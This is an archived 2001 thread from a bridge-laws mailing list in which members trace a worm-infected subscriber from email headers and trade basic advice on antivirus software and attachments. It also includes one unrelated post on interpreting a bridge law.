http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 03:23:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04GMEp14494 for bridge-laws-outgoing; Fri, 5 Jan 2001 03:22:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04GM8t14490 for ; Fri, 5 Jan 2001 03:22:09 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id LAA20933 for ; Thu, 4 Jan 2001 11:22:05 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id LAA29056 for bridge-laws@rgb.anu.edu.au; Thu, 4 Jan 2001 11:22:04 -0500 (EST) Date: Thu, 4 Jan 2001 11:22:04 -0500 (EST) From: Steve Willner Message-Id: <200101041622.LAA29056@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: [BLML] haha virus X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk The list isn't getting spammed; looks as though M. Beauvillain is infected. One header reproduced below. (The other is much the same.) All of us need to use virus checkers and _NEVER_ open an attachment unless you are _certain_ what is in it. (Markus: can majordomo automatically delete all attachments before sending messages to the list? If so, that would be a good thing IMHO. Or maybe even reject messages having attachments and tell the sender.) -----Begin included message----- From owner-bridge-laws@rgb.anu.edu.au Thu Jan 4 03:03:47 2001 Return-Path: Received: from rgb.anu.edu.au (rgb.anu.edu.au [150.203.20.9]) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) with ESMTP id DAA27158 for ; Thu, 4 Jan 2001 03:03:44 -0500 (EST) Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0483OR25537 for bridge-laws-outgoing; Thu, 4 Jan 2001 19:03:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from villosa.wanadoo.fr (smtp-abo-1.wanadoo.fr [193.252.19.122]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0483Gt25532 for ; Thu, 4 Jan 2001 19:03:17 +1100 (EST) Date: Thu, 4 Jan 2001 19:03:17 +1100 (EST) Received: from beauvillain (193.249.241.128) by villosa.wanadoo.fr; 4 Jan 2001 09:03:05 +0100 Message-ID: <3a542e423a5b2e82@villosa.wanadoo.fr> (added by villosa.wanadoo.fr) From: Hahaha Subject: [BLML] Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VELQRC5QZ8TURO9MJOT2J0TA3CTU3G5A7CP" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Content-Length: 32047 X-Lines: 428 Status: RO -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 03:24:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04GNpi14506 for bridge-laws-outgoing; Fri, 5 Jan 2001 03:23:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from xion.spase.nl (router.spase.nl [213.53.246.249]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04GNjt14502 for ; Fri, 5 Jan 2001 03:23:45 +1100 (EST) Received: by xion.spase.nl with Internet Mail Service (5.5.2650.21) id ; Thu, 4 Jan 2001 17:22:59 +0100 Message-ID: From: Martin Sinot To: bridge-laws@rgb.anu.edu.au Subject: RE: Autoresponse to your mail, re: [BLML] Les 7 coquir nains Date: Thu, 4 Jan 2001 17:22:56 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >-----Original Message----- >From: alain gottcheiner [mailto:agot@ulb.ac.be] >Sent: Thursday, January 04, 2001 16:31 >To: bridge-laws@rgb.anu.edu.au >Subject: Autoresponse to your mail, re: [BLML] Les 7 coquir nains > > >Received as a response to my threatening message. > >I don't know what to think of it. >If they're honest, it means that someone in our group has been infected, >and that everytime he sends a mail to bridge-laws, a message from hahaha is >generated. In this case, we'd rather look who sent the previous message, it >would let us know who is infected. > I scanned the internet mail header of the offending mail (after some trouble, Micro$oft Exchange is not very user friendly in this matter) and found the following: Received: from rgb.anu.edu.au ([150.203.20.9]) by xion.spase.nl with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id ZWZWFY34; Thu, 4 Jan 2001 14:27:24 +0100 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04CxhT06519 for bridge-laws-outgoing; Thu, 4 Jan 2001 23:59:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from antholoma.wanadoo.fr (smtp-abo-4.wanadoo.fr [193.252.19.153]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04CxYt06515 for ; Thu, 4 Jan 2001 23:59:35 +1100 (EST) Date: Thu, 4 Jan 2001 23:59:35 +1100 (EST) Received: from beauvillain (193.250.107.101) by antholoma.wanadoo.fr; 4 Jan 2001 13:59:28 +0100 Message-ID: <3a5473b43a701e79@antholoma.wanadoo.fr> (added by antholoma.wanadoo.fr) (rest skipped) Note the name beauvillain near the bottom of this header. It seems that this mail originates from Olivier Beauvillain, or his internet provider. Further search in the mail archive confirms that Olivier is on exactly the same mailhost. It would seem that Olivier's computer has been infected with this virus, or else the internet provider. I sent him a mail notifying him of the virus. -- Martin Sinot Nijmegen martin@spase.nl -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 03:27:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04GRnw14522 for bridge-laws-outgoing; Fri, 5 Jan 2001 03:27:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from loki.cee.hw.ac.uk (exim@loki.cee.hw.ac.uk [137.195.52.13]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04GRft14517; Fri, 5 Jan 2001 03:27:42 +1100 (EST) Received: from idc by loki.cee.hw.ac.uk with local (Exim 3.12 #3) id 14EDEm-0005f8-00; Thu, 04 Jan 2001 16:27:36 +0000 From: Ian D Crorie Subject: Re: Autoresponse to your mail, re: [BLML] Les 7 coquir nains To: bridge-laws@rgb.anu.edu.au, owner-bridge-laws@rgb.anu.edu.au Organisation: Dept of Computing & Electrical Engineering, Heriot-Watt University, Scotland X-Mailer: Exim/Ream v4.15a (The Choice of the Old Generation too) Message-Id: Date: Thu, 04 Jan 2001 16:27:36 +0000 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk [Alain writes:] > Received as a response to my threatening message. > > I don't know what to think of it. > If they're honest, it means that someone in our group has been infected, > and that everytime he sends a mail to bridge-laws, a message from hahaha is > generated. In this case, we'd rather look who sent the previous message, it > would let us know who is infected. > In the hope that this will help those with but a sketchy understanding of mail (and note this is a simplified explanation containing some invented terms of my own): There are two distinct sets of recipients and senders for a mail message: -- those in certain headers of the message e.g. in various lines starting To: or Cc: or Bcc: and so on for recipients and From: or Sender: or Reply To: and so on for the sender. -- the 'Envelope Recipients' and 'Envelope Sender' these aren't normally stored in a header (although some sites may add something like an Envelope-To: header or similar at the time of final delivery) but are passed by mail programs (Mail Transport Agents or MTAs) when mail is transfered between computers on the Internet. The Envelope recipients are what really count as far as deciding who gets a copy of a message. The Envelope recipients are normally derived on the sending system using the 'header recipients' in header lines but from then on they are independent. And they may be derived/set independently of any header lines (as is often the case with spam). Similarly with the 'header senders'; they can fairly easily be forged. If I remember correctly, someone has already posted an analysis on BLML pointing out where the first virus message came from (using its Received: headers) so mailing to the address in the From: line is a waste of time. I'd like to be able to do the same for the most recent messages but in my role as postmaster at this site I have filters in our mail system to reject mail with certain types of executable attachments, so I never got to see any of the virus messages. Until you have learned to understand Received: headers (which many modern mail user agent programs (MUAs) don't display unless you configure them to), it is best not to do a simple reply complaining about spam. Usually the relevant headers for replying have been forged and innocent users and postmasters get further hassle about something outwith their control. If you *really* want to complain to someone I'd suggest Microsoft, for designing their software in such a ludicrously insecure way as to allow executable attachments based on file suffixes. --- I always wanted to be someone - I guess I should have been more specific -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 03:43:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04GgPh14551 for bridge-laws-outgoing; Fri, 5 Jan 2001 03:42:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from flash.naxs.net (flash.naxs.net [216.98.64.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04GgIt14547 for ; Fri, 5 Jan 2001 03:42:19 +1100 (EST) Received: from jkuchenhome (as5800-88-178.naxs.com [216.98.88.178]) by flash.naxs.net (8.9.3+Sun/8.9.3) with SMTP id LAA16191 for ; Thu, 4 Jan 2001 11:42:35 -0500 (EST) Message-ID: <007301c0766d$2c18a7a0$515862d8@jkuchenhome> Reply-To: "John A. Kuchenbrod" From: "John A. Kuchenbrod" To: Subject: Re: Autoresponse to your mail, re: [BLML] Les 7 coquir nains Date: Thu, 4 Jan 2001 11:41:21 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk They are honest. It's not that the person is sending mail to bridge-laws and generating a message with it; as each person with bridge-laws in one's address book is infected, another message goes to the list. Your message should have been sent to the postmaster at villosa.wandadoo.fr, not at sexyfun.net. Here's the incriminating information from the first message: Received: from beauvillain (193.249.241.128) by villosa.wanadoo.fr; 4 Jan 2001 09:03:05 +0100 The second message also came from beauvillain, but through anthaloma instead of villosa. Of course if a member of this list uses this IP address, then we know that it was an infection. John Kuchenbrod jkuchen@naxs.net -----Original Message----- From: alain gottcheiner To: bridge-laws@rgb.anu.edu.au Date: Thursday, January 04, 2001 11:08 AM Subject: Autoresponse to your mail, re: [BLML] Les 7 coquir nains >Received as a response to my threatening message. > >I don't know what to think of it. >If they're honest, it means that someone in our group has been infected, >and that everytime he sends a mail to bridge-laws, a message from hahaha is >generated. In this case, we'd rather look who sent the previous message, it >would let us know who is infected. > > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 03:56:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04GuLE14587 for bridge-laws-outgoing; Fri, 5 Jan 2001 03:56:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.email.msn.com (cpimssmtpu08.email.msn.com [207.46.181.30]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04GuFt14583 for ; Fri, 5 Jan 2001 03:56:16 +1100 (EST) Received: from uymfdlvk - 63.23.28.107 by email.msn.com with Microsoft SMTPSVC; Thu, 4 Jan 2001 08:56:04 -0800 Message-ID: <02a101c0766e$704dc940$ad21173f@uymfdlvk> Reply-To: "Chris Pisarra" From: "Chris Pisarra" To: References: Subject: Re: Autoresponse to your mail, re: [BLML] Les 7 coquir nains Date: Thu, 4 Jan 2001 08:50:25 -0800 Organization: his wit's end MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ian wrote: > If you *really* want to complain to someone I'd suggest Microsoft, > for designing their software in such a ludicrously insecure way as > to allow executable attachments based on file suffixes. Send those complaints to: billg@microsoft.com (yes, it's his real address. No, I doubt that he sees too many of the messages, he has people for that) Chris -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 04:02:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04H28I14614 for bridge-laws-outgoing; Fri, 5 Jan 2001 04:02:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rhenium (rhenium.btinternet.com [194.73.73.93]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04H22t14610 for ; Fri, 5 Jan 2001 04:02:03 +1100 (EST) Received: from [213.1.206.46] (helo=pbncomputer) by rhenium with smtp (Exim 3.03 #83) id 14EDm0-0007Ac-00 for bridge-laws@rgb.anu.edu.au; Thu, 04 Jan 2001 17:01:57 +0000 Message-ID: <000e01c07670$1300ad00$2ece01d5@pbncomputer> From: "David Burn" To: "Bridge Laws" References: <001c01c07659$aad7a500$74afa03f@mom> Subject: Re: [BLML] new virus???? Date: Thu, 4 Jan 2001 17:02:03 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: Nancy To: Bridge Laws Sent: Thursday, January 04, 2001 2:21 PM Subject: [BLML] new virus???? I have just received another email from hahaha entitled "les7 conquis nains with a blml included in the title. I believe this t be another virus. How is this person getting the addresses? Nancy The way this virus works is by sending itself from an infected computer. The process is automatic; there is no question of a person's having got hold of the BLML address list. It looks as though there are at least two people on BLML whose machines are infected (the most recent post seems to have come from Oliver Beauvillain's machine, the first posting to the list came from Irv Kostal's). The virus infects the file WSOCK32.DLL in the directory c:\windows\system. It is not safe to attempt to clean up your machine simply by replacing this file. A better idea is to get some anti-virus software. If you don't want to buy such a product (though this is a good thing to do, since viruses are beginning to be a serious threat once again), you can download a product such as Sophos Anti-Virus or Norton Anti-Virus on a free trial basis and use it to clean up your machine. Visit www.sophos.com or www.symantec.com to get some information about the virus and about anti-virus software. The virus does not do any great harm to machines which it infects (it is more properly called a "worm", whose primary objective is simply to spread, not to inflict major damage). However, there are some viruses of this kind which can do fairly horrible things. As always, prevention is a great deal better than cure, and the best forms of prevention are to get some anti-virus software, and *never* to open an attachment to an email unless you are absolutely certain of its provenance. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 04:32:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04HSnm14681 for bridge-laws-outgoing; Fri, 5 Jan 2001 04:28:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from flash.naxs.net (flash.naxs.net [216.98.64.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04HSgt14677 for ; Fri, 5 Jan 2001 04:28:43 +1100 (EST) Received: from jkuchenhome (as5800-90-70.naxs.com [216.98.90.70]) by flash.naxs.net (8.9.3+Sun/8.9.3) with SMTP id MAA08386 for ; Thu, 4 Jan 2001 12:29:00 -0500 (EST) Message-ID: <00b801c07673$a85911a0$515862d8@jkuchenhome> Reply-To: "John A. Kuchenbrod" From: "John A. Kuchenbrod" To: Subject: [BLML] a French Snow White Date: Thu, 4 Jan 2001 12:23:17 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk After I posted those last messages, I received another copy of the virus. Strangely enough, the header indicated that it came directly from beauvillain to me, not through the bridge list. After some experimentation from my other account, I determined that one of three things has happened: (1) beauvillain's owner is on the list and added me to the address book, (2) the virus has mutated/evolved and always claims that beauvillain is the originating IP, or (3) the virus has mutated/evolved and somehow, I infected myself. I don't use an address book, so I don't think that (3) is possible. Has anyone else received a copy of this French variant *NOT* through BLML? John Kuchenbrod jkuchen@naxs.net -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 04:59:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04HuCa14730 for bridge-laws-outgoing; Fri, 5 Jan 2001 04:56:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from harrier.prod.itd.earthlink.net (harrier.prod.itd.earthlink.net [207.217.121.12]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04Hu6t14726 for ; Fri, 5 Jan 2001 04:56:07 +1100 (EST) Received: from ivillage (sdn-ar-001kslawrP294.dialsprint.net [158.252.182.32]) by harrier.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id JAA19480 for ; Thu, 4 Jan 2001 09:54:44 -0800 (PST) Message-ID: <200101041156170440.00515A1F@mail.earthlink.net> In-Reply-To: <00b801c07673$a85911a0$515862d8@jkuchenhome> References: <00b801c07673$a85911a0$515862d8@jkuchenhome> X-Mailer: Calypso Version 3.10.03.02 (3) Date: Thu, 04 Jan 2001 11:56:17 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] a French Snow White Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >Has anyone else received a copy of this French variant *NOT* through >BLML? I think I did, but I'm not sure -- one copy showed up in my inbox with a BLML subject line, but it wasn't filtered into the BLML folder. I didn't look at it, just deleted it and immediately emptied the trash folder. But I recall this happening once or twice last time this came around a couple of weeks ago. If the virus fiddles with the headers it may be possible to send itself to the list but in such a way that it appears otherwise. Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading I always wanted to be someone -- I guess I should have been more specific. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 05:42:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04IcrQ14804 for bridge-laws-outgoing; Fri, 5 Jan 2001 05:38:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from albatross.prod.itd.earthlink.net (albatross.prod.itd.earthlink.net [207.217.120.120]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04Iclt14800 for ; Fri, 5 Jan 2001 05:38:48 +1100 (EST) Received: from ivillage (sdn-ar-002kslawrP323.dialsprint.net [158.252.182.101]) by albatross.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id KAA09123 for ; Thu, 4 Jan 2001 10:38:34 -0800 (PST) Message-ID: <200101041240030370.00796D37@mail.earthlink.net> In-Reply-To: <200101041156170440.00515A1F@mail.earthlink.net> References: <00b801c07673$a85911a0$515862d8@jkuchenhome> <200101041156170440.00515A1F@mail.earthlink.net> X-Mailer: Calypso Version 3.10.03.02 (3) Date: Thu, 04 Jan 2001 12:40:03 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] a French Snow White Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >I think I did, but I'm not sure -- one copy showed up in my inbox with a >BLML subject line, but it wasn't filtered into the BLML folder. Another just appeared, without the BLML subject. Perhaps we each get our own copy when we post to BLML ... guess I'll find out shortly, at any rate ... Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading I always wanted to be someone -- I guess I should have been more specific. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 06:41:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04JfId04706 for bridge-laws-outgoing; Fri, 5 Jan 2001 06:41:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04JfBt04675 for ; Fri, 5 Jan 2001 06:41:12 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com; Thu, 4 Jan 2001 11:40:26 -0800 Message-ID: <001201c07686$3d3bd340$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "David Burn" , References: <200101021604.LAA17526@cfa183.harvard.edu> <00d101c07510$03f52d60$56991e18@san.rr.com> <007401c075a4$37154100$1910f7a5@oemcomputer> <002501c07624$86e92360$978101d5@pbncomputer> Subject: Re: [BLML] Annoyingly irregular Date: Thu, 4 Jan 2001 11:37:37 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn wrote: > Marv wrote: > > > I'm not a grammarian (Craig? David Burn?) but I believe the existing > > > language necessarily refers to potentially-influenced calls or plays > that > > > occur before the TD is called. That makes it compatible with the > second > > > interpretation, but violates L16A2 and its footnote. > > I'm sorry - I haven't been watching this closely enough. What was the > question? > > The ACBL ELECTION for L16A1 says, in part: "They should summon the Director immediately when they believe there may have been extraneous information resulting in calls or bids [plays?] which could result in damage to their side." The question is: Doesn't this syntax convey that the TD should be called when calls or plays *have been made* that may have been based on extraneous information? Marv San Diego, CA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 07:07:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04K60f13380 for bridge-laws-outgoing; Fri, 5 Jan 2001 07:06:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04K5rt13340 for ; Fri, 5 Jan 2001 07:05:53 +1100 (EST) Received: from twkdckuj (ppp009.pullman.com [204.227.174.9]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id MAA57863; Thu, 4 Jan 2001 12:16:06 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010104120752.00707ee8@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 04 Jan 2001 12:08:02 -0800 To: Bridge Laws , "Brian Baresch" From: "N. Scott Cardell" Subject: Re: [BLML] a French Snow White Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:56 AM 1/4/01 -0600, you wrote: >>Has anyone else received a copy of this French variant *NOT* through >>BLML? I got one with this header: Received: by whale.fsr.net (mbox scardell) (with Cubic Circle's cucipop (v1.31 1998/05/13) Thu Jan 4 11:57:56 2001) X-From_: MAILER-DAEMON Thu Jan 4 00:13:27 2001 Return-Path: <> Received: from beauvillain (Mix-Rennes304-4-128.abo.wanadoo.fr [193.249.241.128]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id AAA34353 for ; Thu, 4 Jan 2001 00:13:18 -0800 (PST) (envelope-from ) Date: Thu, 4 Jan 2001 00:13:18 -0800 (PST) Message-Id: <200101040813.AAA34353@whale.fsr.net> From: Hahaha Subject: Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VEEJODAF0D2B0XQBOPUFSL" To: undisclosed-recipients:; In the same batch with two more with BLML headers: Received: by whale.fsr.net (mbox scardell) (with Cubic Circle's cucipop (v1.31 1998/05/13) Thu Jan 4 11:59:25 2001) X-From_: owner-bridge-laws@rgb.anu.edu.au Thu Jan 4 02:06:50 2001 Return-Path: Received: from rgb.anu.edu.au (rgb.anu.edu.au [150.203.20.9]) by whale.fsr.net (8.9.3/8.9.3) with ESMTP id CAA76077 for ; Thu, 4 Jan 2001 02:06:47 -0800 (PST) (envelope-from owner-bridge-laws@rgb.anu.edu.au) Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0483OR25537 for bridge-laws-outgoing; Thu, 4 Jan 2001 19:03:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from villosa.wanadoo.fr (smtp-abo-1.wanadoo.fr [193.252.19.122]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0483Gt25532 for ; Thu, 4 Jan 2001 19:03:17 +1100 (EST) Date: Thu, 4 Jan 2001 19:03:17 +1100 (EST) Received: from beauvillain (193.249.241.128) by villosa.wanadoo.fr; 4 Jan 2001 09:03:05 +0100 Message-ID: <3a542e423a5b2e82@villosa.wanadoo.fr> (added by villosa.wanadoo.fr) From: Hahaha Subject: [BLML] Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VELQRC5QZ8TURO9MJOT2J0TA3CTU3G5A7CP" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk To: undisclosed-recipients:; and, Received: by whale.fsr.net (mbox scardell) (with Cubic Circle's cucipop (v1.31 1998/05/13) Thu Jan 4 12:00:57 2001) X-From_: owner-bridge-laws@rgb.anu.edu.au Thu Jan 4 06:23:28 2001 Return-Path: Received: from rgb.anu.edu.au (rgb.anu.edu.au [150.203.20.9]) by whale.fsr.net (8.9.3/8.9.3) with ESMTP id GAA53427 for ; Thu, 4 Jan 2001 06:23:25 -0800 (PST) (envelope-from owner-bridge-laws@rgb.anu.edu.au) Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04CxhT06519 for bridge-laws-outgoing; Thu, 4 Jan 2001 23:59:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from antholoma.wanadoo.fr (smtp-abo-4.wanadoo.fr [193.252.19.153]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04CxYt06515 for ; Thu, 4 Jan 2001 23:59:35 +1100 (EST) Date: Thu, 4 Jan 2001 23:59:35 +1100 (EST) Received: from beauvillain (193.250.107.101) by antholoma.wanadoo.fr; 4 Jan 2001 13:59:28 +0100 Message-ID: <3a5473b43a701e79@antholoma.wanadoo.fr> (added by antholoma.wanadoo.fr) From: Hahaha Subject: [BLML] Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VEA7O9URC1QZKXEJKT27CLY3KLYFSP" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk To: undisclosed-recipients:; Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at 